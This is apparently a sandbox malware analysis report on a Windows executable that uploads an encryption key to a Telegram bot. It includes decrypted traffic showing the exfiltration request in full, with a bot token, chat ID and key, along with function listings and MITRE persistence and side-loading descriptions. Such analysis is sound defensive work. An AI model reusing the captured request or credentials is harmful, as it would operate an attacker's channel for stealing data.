Jan 15, 2025 16:38:02.311605930 CET	53	64984	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 15, 2025 16:38:02.304816008 CET	192.168.2.5	1.1.1.1	0x286b	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 15, 2025 16:38:02.311605930 CET	1.1.1.1	192.168.2.5	0x286b	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

api.telegram.org

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49706	149.154.167.220	443	6224	C:\Users\user\Desktop\aASfOObWpW.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 15:38:03 UTC	256	OUT	POST /bot7277798486:AAEyKmvjnINtyS8uzKbaNK-Qn4l4o-hjPqY/sendDocument HTTP/1.1 Content-Type: multipart/form-data; boundary="8cd71c09-1b04-4823-a074-3cf2c1300e68" Host: api.telegram.org Content-Length: 671 Expect: 100-continue Connection: Keep-Alive
2025-01-15 15:38:03 UTC	25	IN	HTTP/1.1 100 Continue
2025-01-15 15:38:03 UTC	40	OUT	Data Raw: 2d 2d 38 63 64 37 31 63 30 39 2d 31 62 30 34 2d 34 38 32 33 2d 61 30 37 34 2d 33 63 66 32 63 31 33 30 30 65 36 38 0d 0a Data Ascii: --8cd71c09-1b04-4823-a074-3cf2c1300e68
2025-01-15 15:38:03 UTC	89	OUT	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 70 6c 61 69 6e 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 63 68 61 74 5f 69 64 0d 0a 0d 0a Data Ascii: Content-Type: text/plain; charset=utf-8Content-Disposition: form-data; name=chat_id
2025-01-15 15:38:03 UTC	10	OUT	Data Raw: 36 36 32 30 36 37 30 30 33 38 Data Ascii: 6620670038
2025-01-15 15:38:03 UTC	128	OUT	Data Raw: 0d 0a 2d 2d 38 63 64 37 31 63 30 39 2d 31 62 30 34 2d 34 38 32 33 2d 61 30 37 34 2d 33 63 66 32 63 31 33 30 30 65 36 38 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 70 6c 61 69 6e 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 74 65 78 74 0d 0a 0d 0a Data Ascii: --8cd71c09-1b04-4823-a074-3cf2c1300e68Content-Type: text/plain; charset=utf-8Content-Disposition: form-data; name=text
2025-01-15 15:38:03 UTC	70	OUT	Data Raw: 48 65 72 65 20 69 73 20 74 68 65 20 65 6e 63 72 79 70 74 69 6f 6e 20 6b 65 79 20 28 49 44 3a 20 35 36 32 31 61 30 39 61 2d 36 38 36 35 2d 34 66 65 39 2d 39 36 38 32 2d 31 62 32 64 39 35 63 36 35 62 33 31 29 3a Data Ascii: Here is the encryption key (ID: 5621a09a-6865-4fe9-9682-1b2d95c65b31):
2025-01-15 15:38:03 UTC	209	OUT	Data Raw: 0d 0a 2d 2d 38 63 64 37 31 63 30 39 2d 31 62 30 34 2d 34 38 32 33 2d 61 30 37 34 2d 33 63 66 32 63 31 33 30 30 65 36 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 64 6f 63 75 6d 65 6e 74 3b 20 66 69 6c 65 6e 61 6d 65 3d 6b 65 79 5f 35 36 32 31 61 30 39 61 2d 36 38 36 35 2d 34 66 65 39 2d 39 36 38 32 2d 31 62 32 64 39 35 63 36 35 62 33 31 2e 70 77 64 3b 20 66 69 6c 65 6e 61 6d 65 2a 3d 75 74 66 2d 38 27 27 6b 65 79 5f 35 36 32 31 61 30 39 61 2d 36 38 36 35 2d 34 66 65 39 2d 39 36 38 32 2d 31 62 32 64 39 35 63 36 35 62 33 31 2e 70 77 64 0d 0a 0d 0a Data Ascii: --8cd71c09-1b04-4823-a074-3cf2c1300e68Content-Disposition: form-data; name=document; filename=key_5621a09a-6865-4fe9-9682-1b2d95c65b31.pwd; filename*=utf-8''key_5621a09a-6865-4fe9-9682-1b2d95c65b31.pwd
2025-01-15 15:38:03 UTC	81	OUT	Data Raw: 38 37 38 61 65 34 62 64 2d 36 36 65 38 2d 34 62 32 38 2d 39 33 30 37 2d 39 39 32 66 38 31 33 37 61 39 30 35 2d 4d 6b 57 58 71 53 58 35 52 71 6f 4a 7a 72 63 35 6d 42 4b 6c 53 67 72 47 43 45 6e 76 78 75 55 4a 48 61 41 7a 47 72 74 47 71 30 55 3d Data Ascii: 878ae4bd-66e8-4b28-9307-992f8137a905-MkWXqSX5RqoJzrc5mBKlSgrGCEnvxuUJHaAzGrtGq0U=
2025-01-15 15:38:03 UTC	44	OUT	Data Raw: 0d 0a 2d 2d 38 63 64 37 31 63 30 39 2d 31 62 30 34 2d 34 38 32 33 2d 61 30 37 34 2d 33 63 66 32 63 31 33 30 30 65 36 38 2d 2d 0d 0a Data Ascii: --8cd71c09-1b04-4823-a074-3cf2c1300e68--
2025-01-15 15:38:04 UTC	851	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 15 Jan 2025 15:38:03 GMT Content-Type: application/json Content-Length: 463 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection {"ok":true,"result":{"message_id":475,"from":{"id":7277798486,"is_bot":true,"first_name":"cryptoexodusbot","username":"cryptoexodusbot"},"chat":{"id":6620670038,"first_name":"TUCKER CARLLSON","username":"tackercarllson","type":"private"},"date":1736955483,"document":{"file_name":"key_5621a09a-6865-4fe9-9682-1b2d95c65b31.pwd","file_id":"BQACAgIAAxkDAAIB22eH1lv0t0G0GYDoPxfLMbE7zXe-AAK5aAACNOc5SDtuglCAMHcdNgQ","file_unique_id":"AgADuWgAAjTnOUg","file_size":81}}}

Target ID:	0
Start time:	10:38:00
Start date:	15/01/2025
Path:	C:\Users\user\Desktop\aASfOObWpW.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\aASfOObWpW.exe"
Imagebase:	0x10000
File size:	17'920 bytes
MD5 hash:	0E1CBCE00ABF322C5E98AFB2E6C46998
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	10:38:14
Start date:	15/01/2025
Path:	C:\Windows\System32\OpenWith.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\OpenWith.exe -Embedding
Imagebase:	0x7ff6a9d60000
File size:	123'984 bytes
MD5 hash:	E4A834784FA08C17D47A1E72429C5109
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	10.2%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	73
Total number of Limit Nodes:	8

Executed Functions

Function 087F8AD8 Relevance: 1.9, Strings: 1, Instructions: 693
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

fff?, xrefs: 087F913F

Memory Dump Source

Source File: 00000000.00000002.3289738923.00000000087F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 087F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_87f0000_aASfOObWpW.jbxd

Similarity

API ID:
String ID: fff?
API String ID: 0-4136771917
Opcode ID: 6576a44394bb0271a7301239b0b22866707724dd9a6ede501b16f1b9cdf6f08c
Instruction ID: cf18aa8e494382e1566516d09d9c39492a6c273d3834d566a3e7194ace065f99
Opcode Fuzzy Hash: 6576a44394bb0271a7301239b0b22866707724dd9a6ede501b16f1b9cdf6f08c
Instruction Fuzzy Hash: 1A623A3180061ADFCF11DF61C884BD9B7B2FF99304F158695E9086B265E771AADACF80

Function 087F89F8 Relevance: 1.8, Strings: 1, Instructions: 556
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

fff?, xrefs: 087F913F

Memory Dump Source

Source File: 00000000.00000002.3289738923.00000000087F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 087F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_87f0000_aASfOObWpW.jbxd

Similarity

API ID:
String ID: fff?
API String ID: 0-4136771917
Opcode ID: b9e79845af3b50096bd9475864361bcfde06fa52690800f96a047bde6d7466ac
Instruction ID: b3e6c0c33adaf0cce43d5ebfe79dfdcfafc284e116903a26b2a8f1c6cdef2a61
Opcode Fuzzy Hash: b9e79845af3b50096bd9475864361bcfde06fa52690800f96a047bde6d7466ac
Instruction Fuzzy Hash: 56124A35800619DFCF11CF61C884BD9BBB2FF49304F1585A5E9096F266D772AA8ACF80

Function 0096DD60 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 0096DDDE
GetCurrentThread.KERNEL32 ref: 0096DE1B
GetCurrentProcess.KERNEL32 ref: 0096DE58
GetCurrentThreadId.KERNEL32 ref: 0096DEB1

Memory Dump Source

Source File: 00000000.00000002.3285170477.0000000000960000.00000040.00000800.00020000.00000000.sdmp, Offset: 00960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_960000_aASfOObWpW.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: aeffbe351df319fdaf1b58a50adebd776427a8ce9f65a0ae5a740df35a66ec6d
Instruction ID: 2ad27dcc23828dc41e897fc59f372bb318635156720947f8b2e06540e546e552
Opcode Fuzzy Hash: aeffbe351df319fdaf1b58a50adebd776427a8ce9f65a0ae5a740df35a66ec6d
Instruction Fuzzy Hash: 4C5165B4D013098FDB14DFAAD548BAEBBF5EF89304F20C419E019A73A0DB799944CB61

Function 087F1808 Relevance: 1.8, APIs: 1, Instructions: 311
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserCallbackDispatcher.NTDLL(?,?), ref: 087F18DC

Memory Dump Source

Source File: 00000000.00000002.3289738923.00000000087F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 087F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_87f0000_aASfOObWpW.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: a9c045f24f24a4dfa1554e86b1ad657a5e68dbd3c7abcd611aa1c0abf2cb9564
Instruction ID: 755dc6c0f721a5e4cf41c38f3ed10ea1d48b1acf587e75acd924f2c4eb6c8830
Opcode Fuzzy Hash: a9c045f24f24a4dfa1554e86b1ad657a5e68dbd3c7abcd611aa1c0abf2cb9564
Instruction Fuzzy Hash: 11E1F434E00259CFDB25CF69C890B9DBBB1BF48314F1485EAD509AB355DB31AA85CF60

Function 087F17FE Relevance: 1.6, APIs: 1, Instructions: 103
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserCallbackDispatcher.NTDLL(?,?), ref: 087F18DC

Memory Dump Source

Source File: 00000000.00000002.3289738923.00000000087F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 087F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_87f0000_aASfOObWpW.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 1145f4c204a599b18d694da58960da8431ae6b700ab5b54cc5f735f69b31b418
Instruction ID: ccda79b76662b26240130d63acda1aa5bb871bdcb77d9ee44c0064a1d8242aff
Opcode Fuzzy Hash: 1145f4c204a599b18d694da58960da8431ae6b700ab5b54cc5f735f69b31b418
Instruction Fuzzy Hash: 14413934900259CFDB25CF65C980B9DBBF2BF44314F1581AAD50AAB365DB31AA85CF60

Function 00965BCC Relevance: 1.6, APIs: 1, Instructions: 98
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 00965C89

Memory Dump Source

Source File: 00000000.00000002.3285170477.0000000000960000.00000040.00000800.00020000.00000000.sdmp, Offset: 00960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_960000_aASfOObWpW.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: eb331bb0d6f4a38eeab487c3ebf81167a724d5051c7a1fd205ebbea05513a59f
Instruction ID: f6d3f83ec515e64c58f9a02eb85a78fd625924a5584941d24d4fd97cba70ff65
Opcode Fuzzy Hash: eb331bb0d6f4a38eeab487c3ebf81167a724d5051c7a1fd205ebbea05513a59f
Instruction Fuzzy Hash: B44104B0C00719CEDB24DFA9C954BDDBBF5BF89304F20816AD408AB2A5DBB55946CF90

Function 009644C8 Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 00965C89

Memory Dump Source

Source File: 00000000.00000002.3285170477.0000000000960000.00000040.00000800.00020000.00000000.sdmp, Offset: 00960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_960000_aASfOObWpW.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 218c2268f6a9249ab1b5773c7e1fab6f59e9ea4c6037b866db6086b623a5f879
Instruction ID: 66299f5bd2c164c69db20941b3e1c320a253d1a9f82ee1dd3b3aea9c6826910f
Opcode Fuzzy Hash: 218c2268f6a9249ab1b5773c7e1fab6f59e9ea4c6037b866db6086b623a5f879
Instruction Fuzzy Hash: 3741F3B0C00719CFDB24DFA9C944B9DBBB5BF49304F20806AD408AB255DBB55945CF90

Function 0096DFA8 Relevance: 1.6, APIs: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 0096E02F

Memory Dump Source

Source File: 00000000.00000002.3285170477.0000000000960000.00000040.00000800.00020000.00000000.sdmp, Offset: 00960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_960000_aASfOObWpW.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: e5c0dc43a544732253d3c72174db2a612f768fabbba0acfbb3c47447736747c1
Instruction ID: 0fb99c448750e049868cf447014481ee60384c39e2d4c4bd6b46beeae9316da1
Opcode Fuzzy Hash: e5c0dc43a544732253d3c72174db2a612f768fabbba0acfbb3c47447736747c1
Instruction Fuzzy Hash: AA21C4B5900249DFDB10CF9AD584AEEBBF9FB48310F14841AE918A3350D379A944CFA5

Function 087F0818 Relevance: 1.6, APIs: 1, Instructions: 55
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserCallbackDispatcher.NTDLL(?,?,?,?), ref: 087F0885

Memory Dump Source

Source File: 00000000.00000002.3289738923.00000000087F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 087F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_87f0000_aASfOObWpW.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 30eb0cd738192965d6bb00c013a5012dc49015398721e9779f54606f25f87977
Instruction ID: 1623075a95b1cee23ba4da931a0d9ad22c39cf9f4ee3c12a1d3a1582c3f0c3cf
Opcode Fuzzy Hash: 30eb0cd738192965d6bb00c013a5012dc49015398721e9779f54606f25f87977
Instruction Fuzzy Hash: 1C11D0B58003499FDB10DF9AD985BEEBBF8FB48310F10846AE958A3751C378A544CFA5

Function 087F0820 Relevance: 1.6, APIs: 1, Instructions: 51
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserCallbackDispatcher.NTDLL(?,?,?,?), ref: 087F0885

Memory Dump Source

Source File: 00000000.00000002.3289738923.00000000087F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 087F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_87f0000_aASfOObWpW.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 88a9a0e41bdebfe11a336f5ffe2d02a36f5867ee21a30c8675c59268f873f560
Instruction ID: bf8920d40f87de43cf4639f7bb1e689d1816b013502e4723e45c871e488e4b21
Opcode Fuzzy Hash: 88a9a0e41bdebfe11a336f5ffe2d02a36f5867ee21a30c8675c59268f873f560
Instruction Fuzzy Hash: CF11B2B58002499FDB10DF9AD984BEEBBF8EB48310F10846AE558A3251C378A544CFA5

Function 0096BCB8 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 0096BD1E

Memory Dump Source

Source File: 00000000.00000002.3285170477.0000000000960000.00000040.00000800.00020000.00000000.sdmp, Offset: 00960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_960000_aASfOObWpW.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 38703153b9b1bd46b29978b42e2ad7667f23495dc10e5789bd2a38f294a9cbf9
Instruction ID: 005ab928d448889076704438801c73bf5b80af68c2a6e0f03d5bbd82c8313c91
Opcode Fuzzy Hash: 38703153b9b1bd46b29978b42e2ad7667f23495dc10e5789bd2a38f294a9cbf9
Instruction Fuzzy Hash: 4C11E0B5C003498FCB10DF9AD544ADEFBF8EF88314F10845AD519A7250D379A545CFA1

Function 087F0CE0 Relevance: 1.5, APIs: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

DispatchMessageW.USER32 ref: 087F0D45

Memory Dump Source

Source File: 00000000.00000002.3289738923.00000000087F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 087F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_87f0000_aASfOObWpW.jbxd

Similarity

API ID: DispatchMessage
String ID:
API String ID: 2061451462-0
Opcode ID: d71b224591870d274c763ca24e4ec21f20b99f2cdcb37ebdf4e4561abda2adcd
Instruction ID: 1afff4b05064421d3591948822587bae666b77cc9cf5a0af367bf7bf423b8e36
Opcode Fuzzy Hash: d71b224591870d274c763ca24e4ec21f20b99f2cdcb37ebdf4e4561abda2adcd
Instruction Fuzzy Hash: 98110CB5C04648DFCB20DF9AE544BDEBBF8EB48320F10882AE558A3310C338A540CFA5

Function 087F0CE8 Relevance: 1.5, APIs: 1, Instructions: 43windowCOMMON

Download Yara Rule

APIs

DispatchMessageW.USER32 ref: 087F0D45

Memory Dump Source

Source File: 00000000.00000002.3289738923.00000000087F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 087F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_87f0000_aASfOObWpW.jbxd

Similarity

API ID: DispatchMessage
String ID:
API String ID: 2061451462-0
Opcode ID: b7e69055b129043446c2ff719898e75164f3512d66682885d0be24d65c370b56
Instruction ID: e7395c4c9e6fd88c0330ccfeede681f124becd5d0f631bcb45394e82c0d2141d
Opcode Fuzzy Hash: b7e69055b129043446c2ff719898e75164f3512d66682885d0be24d65c370b56
Instruction Fuzzy Hash: B711FBB5C04648CFCB20DF9AD544B9EFBF8EB48320F10846AD918A3310C378A544CFA5

Function 0091D01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3284897582.000000000091D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0091D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_91d000_aASfOObWpW.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 607bd3730dc7acf01fe298021b49d0b48802b1dd2db5bdf8253123e4c6bad64d
Instruction ID: 33b1aab0d218310571f84f8565db34c9d51d0fb6227d10d63792ba8b00a81298
Opcode Fuzzy Hash: 607bd3730dc7acf01fe298021b49d0b48802b1dd2db5bdf8253123e4c6bad64d
Instruction Fuzzy Hash: AA21F275604208DFDB15DF24D984B66BF69FB88314F20C96DD90A4B296C33AD887CA62

Function 0091D1EC Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3284897582.000000000091D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0091D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_91d000_aASfOObWpW.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d2d44bc917733519668def65f288b5c8f486137cb2934b1da078676074575cf
Instruction ID: c13524eb188b963f4994df05edea04bf27111f1d6cc3255aa5e148146dbbaf9d
Opcode Fuzzy Hash: 7d2d44bc917733519668def65f288b5c8f486137cb2934b1da078676074575cf
Instruction Fuzzy Hash: 77212271704208AFCB04DF14C5C0B26BBA9FB98314F20CD69D8290B296C37AD886CAA1

Function 0091D006 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3284897582.000000000091D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0091D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_91d000_aASfOObWpW.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 079dceb67973821e3c3e65037e3d26286b20446ee553ebdd9a0f34fc95107a97
Instruction ID: 08d603da683020ff9e4f9351a59a17fd2d3793bdd79a8dd63e9ce0837009f276
Opcode Fuzzy Hash: 079dceb67973821e3c3e65037e3d26286b20446ee553ebdd9a0f34fc95107a97
Instruction Fuzzy Hash: 01218E755093848FDB02CF24D994715BF71EB4A314F28C5EAD8498F2A7C33A984ACB62

Function 0091D1E7 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3284897582.000000000091D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0091D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_91d000_aASfOObWpW.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 945d3a080ad63b5e32bcc5b18ec1e97d0272151c1fb78e482730898ede984437
Instruction ID: 1cf6ac88a9e9d336c2e47cb021d3bd6f295580fa685c147a05178b53308057c0
Opcode Fuzzy Hash: 945d3a080ad63b5e32bcc5b18ec1e97d0272151c1fb78e482730898ede984437
Instruction Fuzzy Hash: 3611DD75604284CFDB06CF14D5C4B15BFA2FB88314F24CAA9D8594B656C33AD84ACBA2

Function 0090D7E1 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3284780228.000000000090D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0090D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_90d000_aASfOObWpW.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 584db38035d3b9d5310b55e19bfddd8c1dd1226c77c204a42c85e6723100f154
Instruction ID: 6da8afded35e8646a5dde3955fa59b9d49dc9e502bc77b071d9d92065e9df98f
Opcode Fuzzy Hash: 584db38035d3b9d5310b55e19bfddd8c1dd1226c77c204a42c85e6723100f154
Instruction Fuzzy Hash: D401DB314063449EE7208B95CD84B67BF9CEF45320F18C869ED494A2C6C27D9844DAB1

Function 0090D7E0 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3284780228.000000000090D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0090D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_90d000_aASfOObWpW.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ceba6c236671a1b3222f158fa026d4593cd3ac6537989645de4aec7022f12106
Instruction ID: ef60215bc4459053d6466c5b09decde05779205bda8a0dd03830b30e6071a44c
Opcode Fuzzy Hash: ceba6c236671a1b3222f158fa026d4593cd3ac6537989645de4aec7022f12106
Instruction Fuzzy Hash: B9F06271405344AEE7108A16C9C8B62FFACEF55724F18C45AED484A286C2799844CAB1

Non-executed Functions

Function 087FD379 Relevance: 7.6, APIs: 5, Instructions: 119keyboardCOMMON

Download Yara Rule

APIs

GetKeyState.USER32(00000001), ref: 087FD3D5
GetKeyState.USER32(00000002), ref: 087FD41A
GetKeyState.USER32(00000004), ref: 087FD45F
GetKeyState.USER32(00000005), ref: 087FD4A4
GetKeyState.USER32(00000006), ref: 087FD4E9

Memory Dump Source

Source File: 00000000.00000002.3289738923.00000000087F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 087F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_87f0000_aASfOObWpW.jbxd

Similarity

API ID: State
String ID:
API String ID: 1649606143-0
Opcode ID: 702b7a7b985b7f12089e9693cf7661dcbff5485d91af9611cc845154a072571c
Instruction ID: 579a5ebf74a19c379f74013a7519e811c1c9c42425eb8cefdc092cc7a0797fa2
Opcode Fuzzy Hash: 702b7a7b985b7f12089e9693cf7661dcbff5485d91af9611cc845154a072571c
Instruction Fuzzy Hash: 2951B0B5801745CEDF21DF9AC44C3AEBFF0AB01305F208459D689A7391C3B99645CBB2

Function 087F30E8 Relevance: 5.3, Strings: 4, Instructions: 266COMMON

Download Yara Rule

Strings

, xrefs: 087F3184
(nq, xrefs: 087F3231
Hnq, xrefs: 087F325D
(&jq, xrefs: 087F33B9

Memory Dump Source

Source File: 00000000.00000002.3289738923.00000000087F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 087F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_87f0000_aASfOObWpW.jbxd

Similarity

API ID:
String ID: $(&jq$(nq$Hnq
API String ID: 0-152196843
Opcode ID: e7b0f2b92a61e50848bae660c17075e1473e01a0e04a51d7370293b439f6a1d3
Instruction ID: 90fa6ba4a9347cd211c735f8ce8da3812b9fd97714fe14720b2f3dba9231820b
Opcode Fuzzy Hash: e7b0f2b92a61e50848bae660c17075e1473e01a0e04a51d7370293b439f6a1d3
Instruction Fuzzy Hash: 13917E70E012199FDB18DF6AC854AAFBAF6EF88311F10842DE505E7349DF359941CBA0

Function 087F9CE0 Relevance: .2, Instructions: 211COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3289738923.00000000087F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 087F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_87f0000_aASfOObWpW.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 83fd8a20f4c664cc797f0eb2d1dbd9f25cd5ec0268531e5c16a1589f8059ce87
Instruction ID: 38e31a600dfa0530980b103b3c9cc3b5e0cd2b723ee73f58f47481b535cf227f
Opcode Fuzzy Hash: 83fd8a20f4c664cc797f0eb2d1dbd9f25cd5ec0268531e5c16a1589f8059ce87
Instruction Fuzzy Hash: 7C81D472D006098BDB14DFA5D9403EEFBB2FF84341F24C13AD416A7659EB39965ACB40

Function 087F9788 Relevance: .2, Instructions: 211COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3289738923.00000000087F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 087F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_87f0000_aASfOObWpW.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c4018e78fc6f939835cbffb937de231e0e51d6fd47f061f6928f2c86c691dadf
Instruction ID: b3f6866dfb36fb17728af3ae2581ddbcbbabb3d53569fee43651b0eb2ca09a92
Opcode Fuzzy Hash: c4018e78fc6f939835cbffb937de231e0e51d6fd47f061f6928f2c86c691dadf
Instruction Fuzzy Hash: 4881D072D00609CBDB04CFA6D8802EEFBB2FF84345F15C13AD416ABA58EB399556CB40

Input	Output
URL: email Model: Joe Sandbox AI	{ "risk_score": 1, "reasoning": [ "No headers provided to analyze", "Cannot make security assessment without header information", "Default to low risk score due to lack of evidence" ] }
Date: unknown

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

